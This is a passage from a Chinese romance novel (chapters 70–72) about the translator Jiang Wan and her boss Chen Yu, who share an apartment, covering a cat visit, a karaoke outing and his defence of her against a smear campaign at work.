她这小声嘀咕的样子很可爱,好一会儿,陈屿才把目光收回,想到要离开两天,他还是有些不放心:“有事给我发微信,不懂的不要瞎做决定。” 姜挽以为他是担心房子,郑重地点了点头:“知道了,我不会乱来的。” 清丽,懵懂,乖巧,陈屿轻易地就被拨动心弦。他重重吸一口气,拿起酒杯喝一口:“最好这样。” 第70章 送她 陈屿出差的这两天, 姜挽也没闲着,又是翻译,又是开会的,一天基本都在连轴转, 连晚饭都是陈屿在微信里再三催促后才回家吃的。 第三天的时候还碰上她的特殊时期, 吃完饭肚子疼得厉害, 她躺在沙发上想休息一会儿, 没想到这一躺, 就直接睡着了。 陈屿下飞机的时候已经晚上十点了, 从机场到家还要一个小时,担心吵到姜挽,就没给她发消息。 一路, 道路两边街景飞逝, 留下一段段绚丽璀璨的剪影。陈屿坐在车里, 和以往任何一次回家的感觉都不一样。 一想到姜挽在家, 他回家后第一眼就能看见她,面对的再不是那个冷冰冰的房子, 心尖的位置就像被温水包住似的, 熨帖,温暖, 一股绵绵密密的细流。 车子在小区停下, 下车,开门, 进屋, 陈屿刻意放轻声音,可眼神在注意到沙发上的身影后,还是愣住了。 灯光倾泄, 如瀑如丝,落在她的侧脸和肩头,像是披了一层月色。忽地风起,客厅两边的纱帘被撩动,影影绰绰,轻盈恍惚得仿佛一个梦。 陈屿脚步有些虚浮,慢慢走过去,在她身边蹲下。他没叫她,只是一直看着,眼神描摹着她的眉眼和五官,像怎么也看不够似的。 鬼使神差地,他竟然伸出了右手,当指节和她的脸颊距离不到一公分时,姜挽突然动了下,像是要转醒,陈屿当即起身,退远两步。 姜挽睡得不踏实,梦里肚子也疼得难受,迷迷糊糊间睁开眼,看见眼前投下来一片阴影,差点被吓到。仔细一看发现是陈屿,这才放松下来:“你出差回来了?” “嗯,”陈屿将她刚才的一切小动作都尽收眼底,语气难掩温柔,“怎么在这里睡?” “没打算在这睡的,本来只是想躺了会儿,没想到就睡着了,”姜挽从沙发上起身,“你吃过晚饭了吗?” “吃过了。”陈屿打算去脱外套,转身的间隙突然注意到她脸色不大好,刚才躺着的时候还看不大出来,这会儿整张脸暴露在灯光下就看得很明显了。 “你怎么了?”他走近两步,“是不是不舒服,脸色这么难看。” “没事。”姜挽不大好意思和他说生理期这些。 “哪里不舒服?”陈屿追问。 姜挽抿着唇角,没答。 不过看她这难为情的样子,陈屿也猜到了,可算算时间,明明还差几天。 “提前了吗?” “什么?” “你的生理期。”陈屿倒是比她直接多了。 “你怎么知道?”姜挽很惊讶,她的生理期很多时候她自己都记不住,还要靠软件来提醒。她不知道陈屿是怎么知道,又是怎么记下来的。 “很难受?要不要去医院?”陈屿岔开话题,关于她的所有细节,每一个他都印在脑子里,又怎么会不知道。 “不用,我休息一会儿就好。” “那回房间去休息。” “好。”姜挽转身朝卧室走,反正他已经回来了,她也不需要在客厅继续待着了。 到这会儿她才突然意识到,她刚才之所以在客厅,就是想等他回来。 “等一下。”她刚转身,陈屿又突然叫住她,几步来到她跟前,从口袋里拿出一个小挂件,“这个给你。” 一个陶瓷小猫的挂件,小猫通身雪白,眼珠碧蓝,眼睛很大,只一眼,姜挽就爱上了。 她拿在手里,看看小猫,又看看陈屿:“这是从哪来的?你买的吗?真好看。” 陈屿盯着她的眼睛,灯光下,里头似有一层水光:“酒店送的,你拿着玩儿。” “谢谢。”姜挽很喜欢,拿着小猫挂件又在他面前晃了晃,“那我先回房间了。” “嗯。”转身的间隙,几缕发丝飞起来,划过陈屿的胳膊,留下一缕淡香。 陈屿看着她的背影,抬手停在半空中,虚妄地隔空碰了下,幻想着触碰到她发丝的感觉。 姜挽在卧室没待多久,门外再次响起敲门声。 “睡了吗?”隔着房门,能听到陈屿的声音。 “还没有,”姜挽起身,去开门,“怎么了?” 门外,陈屿右手端着白瓷碗,里面盛着深褐色的液体,还冒着热气:“把这个喝了。” “这是?” “姜糖水。” “哦,好。” 姜糖水,对生理期的疼痛有缓解作用,之前在宁城时,他就帮她准备过。 一碗下肚,暖呼呼的感觉从口腔一直蔓延到胃部,姜挽顿时感觉好受了许多:“谢谢。” 她要把碗放回厨房,陈屿没让,而是直接从她手中接过:“早点休息,晚上有事叫我。” 虽然知道不会,可姜挽还是很感谢他:“你也早点休息吧,出差也挺辛苦的。” “嗯。” 当晚,陈屿在客厅将就了一晚,第二天他起得很早,本来打算在姜挽前面起床,这样就可以在她离开前问问她的情况,可没想到一等再等,也没见到她从屋里出来。 将近八点的时候,他才听到她的卧室门锁被打开,接着是略显慌乱的脚步和快速装东西的声音。没多会儿,姜挽出现在客厅,素面朝天,神色严肃,果然,是起晚了。 陈屿垂眸喝一口咖啡,兀自干着自己的事儿,装作不在意的样子。 见他在客厅,姜挽很意外,但也来不及多问,匆忙打声招呼:“早。” 陈屿看着她,明知故问:“你这是……” 姜挽有点不好意思:“没听见闹钟的声音,睡过了。” “哦— —”陈屿故意拖长语调,一副事不关己的样子,悠闲喝着咖啡,“那你今天估计要迟到了。” 很有可能,所以姜挽才会如此着急。 她没回陈屿的话,也没吃早餐,穿上外套就打算走,临出门前,却被陈屿拦住:“等一下。” 姜挽回头。 “吃完早餐再走。” “来不及了。” “反正都要迟到了,还在乎这一点时间?”陈屿啜一口咖啡,佯装临时起意,“你先吃,一会儿可以顺带坐我的车去公司。” “不用了,我还是坐地铁吧。”要是坐他的车,那不是全公司都得知道了,姜挽可没这个胆子。 陈屿像是知道她在想什么:“我在地铁站把你放下。” 姜挽有点犹豫了。 陈屿乘胜追击:“反正我早餐也做多了,扔了也是浪费。” 姜挽已经不记得她上次这么悠闲地坐在餐厅吃早餐是什么时候了,以至于这会儿坐在餐桌旁,被太阳照着时,竟有些恍惚的感觉。 “感觉怎么样?肚子还疼吗?”陈屿突然开口,将她的思绪拉回。 “不疼了,好多了。”姜挽低头喝一口小米粥,再咬一口煎蛋,油香四溢 “嗯,”陈屿把原本放在他面前的碗推向她,“吃完把这个喝了,我在车库等你。” “好,我马上。” 去公司的一路,姜挽都有些坐立不安,担心一会儿要是被同事看到的话,她该如何解释。时间长了,陈屿都被她搞得有些郁闷了:“你这么紧张干什么,不是说了会把你在地铁站放下。” “可我还是担心在地铁站会碰到其他同事。” 陈屿淡淡看她一眼,没接话。 对这些,他其实是一点也不在乎的,甚至还自私地觉得被其他人撞见才好。误会他们两个,误会他们的关系,才是他心底最真实想法。 可看姜挽这样,他终究还是不忍心:“那你说怎么办,我在哪把你放下来?” “真要我说?”姜挽有些犹豫。 “你说吧。” 最终,陈屿是在一条异常偏僻的小道把她放下来的,狭窄的居民巷,拥堵的被杂货堆满的过道,迈巴赫进去了都无法掉头,陈屿一路甚至都是倒着出来的。 而且他刚停稳车,副驾驶车门就被推开,陈屿甚至都没来得及叮嘱她一句“小心车”,那身影便消失不见了…… 看来以后公司这上班时间是得改改了。 因为早上到公司晚了点,临下班前,姜挽还有一部分工作没完成,不得不加班。她倒是没什么,反正回家也没什么事,今天把这些做了,明天的事还能少点。可陈屿却不乐意了,一个劲儿在微信里催她。 姜挽被催得没办法,只得带着电脑下班,想着回家后再做。 快到家的时候,她收到了一条陈屿的微信,说是饭菜放在桌上,让她到家了直接吃。姜挽还以为他有事出门了,感激地回复了“谢谢”两个字,并保证吃完一定收拾好餐桌。 开门,进屋,果然一眼便看见餐桌上摆着的三道菜,还是荤素搭配,再加一碗热汤,灯光下,能清晰看到袅袅热气。 姜挽没直接吃,而是拿出手机打算先拍张照,平时陈屿在的时候她不好意思,这次刚好趁着他不在拍一张。 可没想到手机角度刚调好,突然听到卧室的门锁响,姜挽愣住,手上的动作也随之停住,她抬头,果然下一秒,就见到陈屿从房间里走了出来…… 比他的突然出现更让姜挽觉得惊讶的,是他此时的穿着。陈屿应该是刚洗完澡,随便套了件浴袍,腰带系得松松垮垮,领口敞开一片。头发也湿漉漉的,有几滴落下来,滑过锁骨,继而落入他胸前。 姜挽的第一反应就是低头,心跳乱得厉害,她缓了缓才开口:“你怎么在家?” 如果她能看到的话,就会发现此刻她的脸颊更是红得厉害,像春樱,似晚霞。 与姜挽的害羞对比明显的,是陈屿淡定十足的反应,他放肆地欣赏着姜挽此刻的表情,拿起毛巾随意擦着头发:“我不在家,在哪?” “那你刚才那样说……” “那样说是担心你回来早了,我没洗完澡,没想到你回来的时间刚好。”和姜挽比,他简直太镇定自若了,甚至还带着一股隐隐的调侃意味,“话说你刚才是在干嘛?拍照?” “不是,”姜挽没承认,随便想了一个借口,“这里面有一个菜我不认识,就想通过图片识别一下。” “哪个?”陈屿走过来。 姜挽的心跳更快了:“这个。”她根本没看,伸手指了离她最近的一个。 顺着她的指尖去看,陈屿先是皱眉,随即好整以暇地看着她:“你确定是这个?” “怎么了,有什么问题吗?” 陈屿掀起眼皮,淡淡扫她一眼,随即在餐桌旁坐下:“你连包菜都不认识?” 刚才太着急没来得及看,这会儿再看一眼,姜挽也被自己刚才的行为尬住了,这可不就是包菜吗,还是最常见的那种“手撕包菜”。 她开始找补:“我的意思是,你厨艺很好,能把包菜做成这样。” 陈屿倒是没再继续追问:“吃饭吧。” 姜挽没坐,隔着一段距离,她委婉地提醒他:“你要不要先去换件衣服?” “怎么,影响到你了?” “没有,没有,我是担心你冷。” “不换,吃完再说。” 这一顿饭吃的姜挽有些心不在焉,全程低着头,眼神也不知道该往哪看,一直到吃完,她也没主动和陈屿说一句话,倒是陈屿问了几句她工作的事情。 “周海给你安排的工作很多?” “还好,不多。” “不多你怎么天天加班?”陈屿像是不爽,但仔细听,就会发现语气里还有更深层,更隐忍的东西,“以后他再给你安排不合理的工作量,你就直接拒绝。要是觉得不方便,也可以直接来找我。” 话音落,姜挽抬头,视线和他对上,似乎是想要确认他刚才这句话的真实性。 找他?她以什么身份找他呢? 职场上越级汇报是大忌,所以这算是他给她的特权吗? 可这特权又因何而来呢? 他们那段从来没被提起的同学关系?还是如今这莫名其妙的合租关系? “不用了,周经理给我安排的工作量挺合理的。” 其实话说出口,陈屿也觉得有些越界了,可他的性格,说了就会认,绝不会搞委婉掩饰那一套。更何况,她现在并没有男朋友。 他不解释,也没撤回:“我只是给你提供一种选项,具体想怎么做还是看你。” “嗯,”说到这,姜挽倒真还有一个问题想和他咨询,她今天在公司研究许久也没有得出结论,“其他问题也可以找你吗?” “可以。” “你不问问是哪些问题?” “随便,都没差。”反正她的所有问题,陈屿都会当作第一重要的去解决。 “是关于翻译的问题。”姜挽和他坦白,以前在公司的时候她会问他翻译问题,可那是在公司,在工作,她不确定抛开了这层关系,他还愿意帮她解答。 “吃完饭拿给我。”陈屿直接回答。 姜挽担心会打扰到他:“你方便吗?要是不方便的话,我可以等你有时间再问。” 陈屿挑眉,灯光下朝她看过来,眼神清亮,音色沉沉:“看你,你方便,我就方便。” 70-75 第71章 暧昧 次日, 去公司的路上,姜挽好几次忍不住摸了摸自己额头的位置。 昨晚陈屿和她讲解时,两人离得很近,气息, 水汽, 嗓音, 还有清淡的木质香调, 一切都是那么的熟悉。像是回到那个夏天, 回到当初他给她讲题时的场景, 恍惚间,姜挽走神了。 也就是在这个时候,陈屿抬手轻轻敲了一下她的额头:“想什么呢?听懂没?” “听……听懂了。” 姜挽结巴, 回想刚才的感觉, 肌肤相触的瞬间, 她的第一反应是心颤。 像是有什么东西突然从心底苏醒了, 春枝抽芽般的生机,那么熟悉, 那么怀念。 话语, 表情,甚至还有行为, 这些都可以伪装, 可心底的声音从不骗人。到此,姜挽不得不承认, 这么多年过去了, 她对陈屿的感觉从来就没变过。 “想什么呢?” 坐在办公室里,身边突然响起林瑜的声音,姜挽忙回神:“没, 没什么。” “你是不是遇到什么事了?这一上午都走神好几次了,叫你好几声都没听见。” 姜挽怕她看出来,忙岔开话题:“没有,我可能就是翻译太累了,需要休息一下,对了,你找我什么事?” 好在林瑜也不是喜欢八卦的性格,很快转回正题:“月底你们项目组不是要在集团内部进行汇报吗,这事我知道,非常繁琐。你要是有什么忙不过来的,直接告诉我,我帮你弄。” 她这么一提,姜挽才想起来,最近因为工作太忙,都没顾得上这事。 通知是前几天发的,尼斯度假村项目被挑选为GSC今年的优秀项目,姜挽他们整个项目组都需要在集团大会上进行演讲和分享。 “得亏你提醒我,我最近太忙,还没顾上这事。” 同为外派翻译,又都是踏实干活的性格,林瑜当然理解她:“这种事情领导只是一句话,干活的还是我们,”她替她宽心,“你别着急,有空了先把资料捋一遍,要是需要我帮忙的,你尽管提。” “那就先谢谢啦。”姜挽知道她是爽快的性格,也就没多推迟,况且她们翻译之间有时候互相帮忙也是再正常不过的了。 说罢,姜挽正打算继续忙,突然又听到林瑜再次开口:“对了,有个叫沈繁星的人加我微信,她说是你朋友,你认识她吗?” “认识啊,”姜挽回她,“她就是我在佳译的老板,她加你,是有什么事吗?” “不知道,”林瑜对此也表示疑惑,“不过既然是你朋友,那就没什么了,我先通过,后续有什么再说。” “行,那你先和她联系,有什么需要再告诉我。” “没问题。” 做完翻译工作,姜挽又稍微准备了一部分演讲的大纲,这才从公司下班。她没敢加太长时间,因为每次加班的时候,陈屿的微信都会一条接一条地进来。 果然,她刚上地铁,陈屿的微信又来了:【到哪了?】 【已经在地铁上了,马上到。】 【尽快回来,有人在等你。】 【谁?】 【到家你就知道了。】 因为他这一句话,姜挽一路上心都被吊在半空中,一路上“快马加鞭”,脚下跑得都快起火星子了,就想尽快知道这个在等她的人到底是谁。 在北城,她和陈屿共同认识的人其实还不少。除了孟云程和尤伽这些高中同学,还有沈繁星,现在她人在GSC,自然就还有一批同事。 只是这么简单的想着,姜挽就觉得慌乱,要是这其中的任何一个发现她现在和陈屿“同住”的事情,她都没办法解释。 一路走,一路急,以至于到家的时候,姜挽发丝凌乱,脸颊也一片红晕。 见她这样,陈屿忍不住皱眉:“有人在追你?” 姜挽胡乱捋了一把头发,尽力平复着心跳:“你不是说有人在等我吗?我路上就走得快了点。” “哦,它刚睡了,先吃饭吧。” 睡了?姜挽更懵了,到底是谁啊,和他这么熟,既然能直接在他家睡觉? 正纳闷,突然听到一声猫叫,是从沙发旁边传来的,姜挽狐疑,顺着声音走过去,很快一个圆圆的小脑袋露出来,通身浅灰,大大的蓝眼睛…… “小葡萄!”姜挽惊呼。 小葡萄明显也认出她了,立马从垫子上跳下来,高兴地朝她跑来,靠近了,围着她的小腿一个劲地蹭,嘴里还时不时发出类似撒娇的声音。 姜挽忙俯下身,把它抱进怀里,亲了亲它的额头:“你怎么来啦?好久不见,你比之前更可爱了。” 小葡萄也伸出舌头舔了舔她的脸颊,一时间,客厅里一派“久别重逢”,“故人相见”的依依氛围。 反而陈屿一个人被晾在厨房,没人搭理,他把菜端出来,先教育姜挽:“去洗手,然后来吃饭。” 又转头指责小葡萄:“没良心的家伙,刚才见我也没见你这么热情。” 姜挽因为太高兴,完全沉浸在和小葡萄重逢的喜悦里,根本没注意到陈屿的情绪。她抱着小葡萄进了卫生间,一边洗,还一边念叨:“这么久不见,你有没有想我啊?” 听她这么说,陈屿更郁闷了,他每天鞍前马后地伺候,变着花样给她做吃的,到头来,还不如一只猫呢? 整个晚饭期间,姜挽的注意力基本都在小葡萄身上,她先是和它玩儿了一会儿,又转头问陈屿:“对了,它今天怎么来了?” 陈屿给她盛汤,声音有些闷:“照顾它的阿姨请假了,先带它过来住两天。” 是的,小葡萄不住在这,它只是过来待两天。其实陈屿自己原本也不住这,他在郊区有一套别墅,那才是他之前经常落脚的地方。 住这里,也不过是当时临时起意,为了更方便照顾她,见到她罢了。 “那这两天我可以照顾它吗?刚好周末了。”姜挽问他。 “可以。”陈屿这话说的有点不情愿,本来把小葡萄带来是为了帮他的,现在看来,风头全被它抢了,别说帮了,怕是会把姜挽的时间全占了吧。 “但是现在,你先吃饭。” 周末两天,果然如陈屿想的那般,姜挽一点多余的时间都没空出来给他,偶尔几次和他搭话,也是在小葡萄睡着的时候,抽空和他说了两句。 折腾了两天,小葡萄终于被接走了,陈屿刚想松一口气,没想到姜挽却提出:“下次周末的时候,能不能再把小葡萄接过来,我真的很喜欢它。” 陈屿不悦,但也没直接拒绝:“下次再说。” 他不喜欢姜挽的注意力被其他占据,即使这只猫是他的也不行,所以他故意开口,将话题岔开,“月底的汇报资料你准备好了吗?” 果然他这样说,姜挽的注意力立马变了:“已经开始着手准备了,但这次会议比较重要,涉及的资料也多,我可能要多花点时间。要是有不懂的,可能还会和你请教。” 一瞬间,陈屿的气顺了不少:“嗯,我随时有时间,主要看你。” “那就先提前谢谢你了。” 时间过得很快,转眼间便来到了她们汇报这日,整个尼斯项目组都做了充足的准备,会议上,周海打头阵,再由其他小组成员依次做汇报,一场会议下来,非常成功,收获了大片的掌声和赞扬。 大家都很激动,在这兴奋的气氛里,有人提出今晚聚餐庆祝下,其他人纷纷应声。可姜挽却有些犹豫,参加聚餐就意味着会晚点回家,她不知道陈屿会不会同意。 隔着人群,姜挽去看他,恰巧陈屿也在看她,视线相碰,姜挽立马收回,转而在微信上给他发消息:【今晚聚餐,我可能会晚点回家。】 陈屿回得很快:【嗯,知道了。】 晚上吃饭的地方选在一家川菜馆,是大家一致决定的,就是得要这红红火火的菜式才配得上他们今晚这氛围。 姜挽因为中途去了洗手间,比大家晚到了几分钟,一进门,却突然发现除了其他人外,陈屿也在。此时他正斜靠着椅背,右手休闲地转着茶杯,懒散地听着旁边人说话。 姜挽没想到他会出现,听其他同事说是他主动要求来的,不过大家都很高兴,能有个机会和老板近距离接触,别提多兴奋了。 吃完饭,还有第二场,周海特意安排的KTV活动,就是为了能让大家好好地放松放松。 陈屿在,大家自然就先询问他的意见,但他从不唱歌,这点大家也都知道,所以在询问的时候也就没抱什么希望。 哪知这一次,话出口,陈屿却答应了,大家随即愣住,还是周海先反应过来:“您想唱什么,我去帮您点。” “不用,我自己来。”陈屿起身,路过姜挽的时候,似有若无地看了她一眼。 老板唱歌,还是第一次,大家都很期待,姜挽和他们的心情差不多,不过她还多了一份其他的心思,毕竟上次听到陈屿唱歌,已经是八年前了。 在大家的注视下,陈屿点歌,拿话筒,旋律刚出来一秒,姜挽便立刻听出,是那首《Strawberries & Cigarettes》。 Remember when we first met? You said “light my cigarette” So I lied to my mom and dad And jumped the fence and I ran But we couldn’t go very far ‘Cause you locked your keys in your car So you sat and stared at my lips And I could already feel your kiss Long nights, daydreams Sugar and smoke rings, I’ve been a fool But strawberries and cigarettes always taste like you …… 自由,洒脱,微醺,和当初的感觉一模一样。 这是当初她说她喜欢,陈屿在广播里为她放过,也在包厢里放过的歌,他还记得,他竟然还记得。 一瞬间,姜挽难以形容自己此刻的感觉,欣喜,感动,还夹杂着不可置信。她面上反应不大,可心却像是上了发条,快得她不知所措,快得她应接不暇。 周遭一切仿佛都变得无声,耳边只有她自己的心跳和陈屿轻轻地吟唱。 显然,此刻被陈屿迷住的,不止她一个。陈屿声线低沉,音律又极准,吟唱间伴随着手势动作,看起来非常有腔调。这首唱完了,大家还起哄让他再唱一首,可陈屿只是淡淡一笑:“抱歉,只会这一首。” 老板肯唱就已经很给面子了,大家自然也就不会再继续纠缠,便各自去点了自己的歌。 因为人多,灯光又昏暗,谁也没注意到陈屿没回原来的位置,而是趁机坐在了姜挽旁边。 他什么都没说,可自他过来,姜挽便觉得有些不自然,为他刚才的歌,也为此刻两人之间的距离。小腿不小心碰到他的西装裤腿,她忙道歉:“不好意思。” 陈屿很大度,一点没和她计较,弯腰端起桌上的饮料正打算喝,姜挽在旁边注意到了,提醒他:“这个,是我的。” 黑暗中,陈屿把玩着手中的酒杯,轻叹一口气:“抱歉啊,拿错了。” “没事。” 恰巧,有人来叫姜挽点歌,离开前,她端起酒杯喝了一口,告诉陈屿:“那我先去点歌了。” 陈屿没回答,朝她挑了下眉。 注视着她的背影,在她离开后,他再次端起刚才她喝过的那个酒杯,找到口红的位置,故意压了上去。 姜挽唱歌一直都不大行,这次也不例外,一首歌下来,不破音,不走调在她这里就已经是超常发挥了。 可有人却不这么想,刚回到座位,陈屿就挤兑她:“没想到这么多年过去了,你唱歌还是这样,一点进步都没有。” 姜挽也很郁闷:“我唱歌不好听你一直都知道的,没必要专门说一遍吧。” 陈屿没再开口,但唇角却似有若无地扯出一抹笑。 歌声,灯光,酒杯,还有宣泄和放松,一场聚会,到十一点才结束,除了姜挽和陈屿,其他人基本都喝大了。 姜挽帮他们一个个打车,到最后,只剩她和陈屿了,正思考该如何回去,陈屿突然朝她扬了扬手里的钥匙:“走吧,我开车。” 想着他们本来就顺路,况且这会儿其他同事已经走了,也不用担心会被看到,姜挽也就没再拒绝。 上了车,她才想起来一个问题:“你刚才没喝酒吧?” 陈屿轻笑:“你现在才想起来问这个问题,是不是有点晚了?” 姜挽一愣:“你不会真喝了吧?” “没有,”陈屿系上安全带,“就算不在乎我自己的命,我还能不在乎你的吗?” “嗯?”这话姜挽不大懂,或许懂了,她只是不敢相信其中的意思。 陈屿不重复,也不否认,只是提醒她:“安全带。” “哦。”姜挽忙伸手去扯旁边的安全带,平时一下都能找到的,今日也不知是不是因为灯光昏暗的原因,还是有点紧张,好几次都没找到。 正当她打算开灯时,左边的陈屿突然倾身过来,长臂一伸,越过她,抓住了安全带。 一时间,两人的距离拉近,鼻尖浮起一阵似有若无的淡香。 还有猝不及防的对视,眼睛,睫毛,以及路灯下打在他鼻梁的阴影,姜挽都看得清清楚楚。 心跳乱得没了节奏,姜挽先败下阵来,她把脸扭向另一边,声音很轻:“我还是自己来吧。” “咔嚓”一声,是卡槽落扣的声音,随即耳边传来一阵温暖的热意,像风拂过,是陈屿的呼吸:“好了。” 到家时间很晚,洗完澡躺在床上更晚,可姜挽却没什么困意。脑子里不断回想着今晚的一切,陈屿的歌,陈屿的眼睛,还有他落在她耳畔的呼吸。 他是有意或者无意,姜挽辨别不出来,可对自己的感觉,她却再清楚不过了。 晚风乍起,心随情动,她对陈屿,一直都是如此。 这感觉太强烈,以至于在梦里,姜挽看到的都还是他的身影,第二天起床时和他在客厅碰见,姜挽脸“唰的一下”就红了。 “怎么?不舒服?” 陈屿要过来,姜挽立马躲开:“没事,可能是有点热。” “热吗?”这么凉的天,陈屿皱眉,“你生病了?” 姜挽还是躲他,拎起包便离开了客厅:“我去上班了。” 姜挽没走多久,陈屿接到了一个电话,是宋泽宇打来的。 “陈总,您现在方便吗?邮件您看了吗?”宋泽宇的声音有些急,他很少这样,陈屿意识到肯定是出问题了。 “没有,发生什么事了?” “有人匿名给全公司员工发了举报邮件。” “举报谁?” “姜翻译,说她……” “我马上去公司。” 第72章 维护 陈屿边开车, 边给姜挽打电话,他想告诉她先别看邮件,也不要听其他人瞎说,可已经晚了。 姜挽每天早上都有检查手机邮箱的习惯, 在地铁上的几十分钟, 她会大致先把邮件浏览一遍, 再迅速做出分类和排序, 这样到公司之后就可以直接干活了。 所以自她上地铁, 打开邮箱的那一刻, 便看到了这封邮件。而且就算她不看,其他同事看到了也会截图给她,短短几分钟, 她已经收到了好几条微信了, 全是和她说这事的。 邮件里洋洋洒洒几千字, 中英文双语编辑, 又是图片又是证据的,咋一看还觉得挺唬人, 可仔细阅读, 就会发现其中的端倪。 贪污,贿赂, 弄虚, 作假,所有职场中可能会涉及到的罪名, 对方全给她扣了一遍, 有的明显和她的工作一点牵扯没有,一看就是假的,所以姜挽也没有特别慌乱。 要说在意, 只有一条,就是说她精神状况的那条,姜挽上了心。对方多次拍到了她进出康复中心的照片,并以此造谣她有“精神问题”。 问题根源虽不是她,可她进出康复中心却是真,而且还被如此公之于众,姜挽不敢想象其他同事看到后会怎么想,尤其是陈屿。 “姜挽。”陈屿在电话里叫她。 姜挽忙回神:“嗯。” “我刚才说的话你都记住了吗?” “记住了。” 陈屿显然不放心,再次叮嘱道:“不管邮件里面写了什么,你都不要在意,也不要和他们去联系,自有公司会去调查。” “别人说什么你也不要管。” “陌生的电话和短信一概不要搭理。” “记住了吗?”陈屿再次重复。 “记住了。” “姜挽,”隔着电话,陈屿叫她,一样是叫她的名字,可和一开始比起来,已经温柔了许多,像是安慰,又仿佛承诺,“相信我。” 一瞬间,像是回到少年时,每次遇到问题他都是这样和她讲,相信我,依靠我,我永远会是你的后盾。 眼睛有些酸,姜挽费力眨了眨,她没敢应,也不知该如何应。 陈屿也不逼她,只继续叮嘱:“一会儿到公司后,直接来我办公室。” “好。” 很快到达公司,姜挽直奔陈屿办公室,敲门,开门,她深吸一口气。陈屿,周海,林洁,还有HR和合规的同事都在,一瞬间都朝她看过来。 斜对角还有一个位置,她要过去坐,陈屿却突然出声:“过来。”他指了指他旁边,那里有一个空位。 姜挽一下就想到之前她被调查U盘那件事,一样的人员,一样的气氛,只是这次不同的是,陈屿并没有坐在她对面,而是和她坐在同一侧,语气也是之前没有过的温和。 两次都是护她,于陈屿而言,不同的是,之前他都是暗地里护着,这次他要明着护。 “第一,立马出一个官方通知,邮件里的内容一看就是虚构伪造,我要你们立马澄清。” “第二,加强IT部门的防控能力,以后再有类似邮件直接屏蔽拦截。” “第三,报警处理,这件事,我要让背后搞小动作的人付出代价。” 陈屿既不问这件事情的来龙去脉,也不让姜挽做任何解释,只简短有力地下达命令。 他的意思很明显,他要把姜挽从这件事情里面摘出来,他无条件相信她。 既然他都发话了,其他人也就没什么再说的,自然也都是跟随老板的步伐,几人正商量着该如何进行下一步计划。 门外突然响起敲门声,接着宋泽宇开门进来:“陈总,有情况需要和您汇报,是关于今天早上这件事的。” 在场的都是和这件事有关系的人,陈屿也就没让他们回避:“你直接说。” “公司楼下有人拉横幅闹事,要求姜翻译现在下去见他们,不然他们就坚决不走。” 担心影响到GSC,姜挽想都没想,立刻接话:“我现在就下去。” “等一下,”陈屿拦住她,“我和你一起下去。”转身,他吩咐宋泽宇,“安排保安下去处理。” “已经安排了,不过对方人多,而且看起来像是专业闹事的人群,一时半会儿怕是不会轻易离开。” “报警。” “也报了,只不过警察过来也需要一点时间。” “知道了,你们回去各自安排好自己的部门不要被影响,我和姜挽下去。” 交代完这些,陈屿便和姜挽一起乘电梯下行。一切发生得太突然,姜挽压根没想到竟然会到这种程度。电梯急转直下,就像她此刻的内心,迷茫,忐忑,还带着内疚。 她最怕影响到陈屿,影响到GSC,没想到到头来还是这样。还真是越怕什么,越来什么。 “对不起。”安静的轿厢内,她轻声开口。 没头没尾的一句,陈屿却听懂了:“不是你的错,更不要苛责自己。”他同样声音不大,“不要怕,交给我。” 很轻的一句,姜挽甚至都怀疑自己听错了。 电梯很快到达一层,姜挽着急出去,也就没再纠结,哪知她刚迈步,就被陈屿拉了一下,将她挡在身后,自己走在了前面。 果然如宋泽宇所说,GSC大楼门口闹哄哄的,闹事的人,还有维持秩序的保安都挤在一起,一时间看起来很乱。 见陈屿和姜挽出来,他们先是愣了一会儿,那样子像是不认识姜挽,转身和人群中的人交头接耳了一阵,才又开始大声吵闹。说的内容无非也就是邮件里的那些,污蔑姜挽,顺带诋毁GSC。 姜挽听不下去了,要去解释,陈屿先她一步:“这里是GSC,不是什么街头菜市场,任由你们闹事诋毁。GSC做什么,我公司的员工怎么样,还轮不到你们来评判。限你们五分钟之内离开,不然后果自负。” 他很冷,又带着上位者特有的凛冽气场,几句话落地,立马有人被吓到了,开始往后退。但这些人里,也有胆子够大的,直接和陈屿对呛:“你吓不到我们,我们不违法,警察来了也不能把我们怎么样。” 是一道女声,姜挽觉得熟悉,但一时间又想不起来在哪里听过,正纳闷,对面人群中突然有人抬手朝她扔了一个东西。 太过突然,她躲闪不及,眼见着就要砸在身上,眼前突然出现一道高大的身影,还有覆上她脑袋的一只大手。 “咚”的一声,那东西砸在了陈屿的后背上,他却像没感觉似的,只是安慰姜挽:“别怕。” “我不怕,你没事吧?” “没事,别担心。” 保安围了上来,混乱中,姜挽朝对面看了一眼,她本来是想确认砸陈屿的那个人是谁,无意中却对上了一张熟悉的脸庞,小圆脸,大眼睛,一副黑框眼镜,不是方简简又是谁? 电光火石间,姜挽懂了,只是她不敢相信,都已经过去这么长时间了,方简简对她竟然还如此记恨。 这个时候,警察也到了,陈屿带着姜挽打算离开,人群中突然爆发出一声大喊,是方简简,为了诋毁姜挽,她已经顾不得什么了:“堂堂GSC这么大的一家公司,竟然纵容自己的员工触犯法律,现在的企业都这么没底线吗?” 陈屿没理她,继续往前走。 方简简的声音更大了:“这里是中国,法治社会,不是你们想怎么样就怎么样的。” 陈屿脚步顿了一下,还是没回头。 方简简彻底怒了:“陈屿!”她直呼陈屿的名字,语气恶狠狠的,带着一股鱼死网破的决然,“你以为你护着的是个什么宝贝,不过是个精神病罢了!” 姜挽原本是和陈屿离得很近的,听到这话,身体猛地一僵。陈屿皱眉,继而回头,眼神横扫过人群,冷刀子一样刺向方简简。 方简简不敢再吭声了,没人敢再吭声了。 陈屿带着姜挽没回翻译部,而是直接回了他的办公室,只剩他们两个人的时候,姜挽更不安了。为这件事,也为刚才方简简的那句话。 在这件事情上陈屿的处理方式她也看到了,完全就是一边倒地维护她,原因先不论,单是他这份心,姜挽就觉得不能辜负。 她拢了下思绪,十分郑重地开口:“我可以保证邮件里提到的那些违规事项,我都没有做过。” 陈屿正在桌前整理水杯,闻言抬头看她一眼:“我知道。” 再自然不过的语气,平静得就像和她在家时的每一次聊天一样。 是他的反应,给了姜挽鼓励,让她想要再尝试一步:“所以,关于方简简刚才提到的精神问题,”她的声音还是不自觉轻了一些,“你不为什么不问我?” 陈屿倒好水,又隔着杯壁试了试温度才递给她:“那是你的隐私,我不窥探,我只要你好好的。” 只要你好好的… 姜挽怔怔地看着他,有点没听懂,或者说是听懂了,但不敢相信。 她怕是一个误会,怕自己多想,怕时间消逝,沧海桑田,一切不过都是她的一厢情愿罢了。毕竟这样的话,陈屿之前也不是没有说过。 “好了,先别想了,”见她无措,陈屿不忍心逼她,“给你几天假,你先回去休息休息。” 